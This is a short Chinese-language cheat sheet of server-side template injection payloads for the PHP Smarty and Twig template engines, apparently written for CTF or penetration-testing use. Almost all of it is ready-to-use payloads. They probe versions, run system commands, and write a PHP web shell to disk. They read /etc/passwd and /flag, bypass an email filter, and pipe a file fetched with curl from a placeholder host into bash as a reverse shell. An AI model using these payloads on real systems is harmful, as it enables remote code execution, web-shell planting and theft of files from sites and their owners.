[PHP知识库]SSTI相关总结 (smarty/twig)

SSTI在用户可控的地方可能发生。

一、PHP smarty注入

smarty是php的一个模板引擎。更明确的来说，它可以帮助开发者更好的分离程序逻辑和页面显示。这里略过一些罗嗦的smarty的介绍。

*payload

(1) 获取smarty版本号：

{$smarty.version}

(2) 执行php代码

{php}echo `id`;{/php} //注意这个在3.x版本的时候就已经废弃了

(3) getshell

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']);?>",self::clearConfig())}

(4) RCE

{system('ls')}

{if show_source('/flag')}{/if}

{if passthru(“tac fl*”)}{/if}

反弹shell:

{system('curl http://xxx:xxxx/dev.txt|bash')}

二、twig注入

(1) 基础注入：

{{7*7}}

{{7*'7'}}

{{dump(app)}}

{{app.request.server.all | join(',')}}

(2) 任意文件读取：

{{'/etc/passwd'|file_excerpt(1,30)}}

(3) RCE：

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

{{['id'] | filter('system')}}

{{['cat\x20/etc/passwd'] | filter('system')}}

{{['cat$IFS/etc/passwd'] | filter('system')}}

(4) 如果有FILTER_VALIDATE_EMAIL时：

email = "{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@xx.com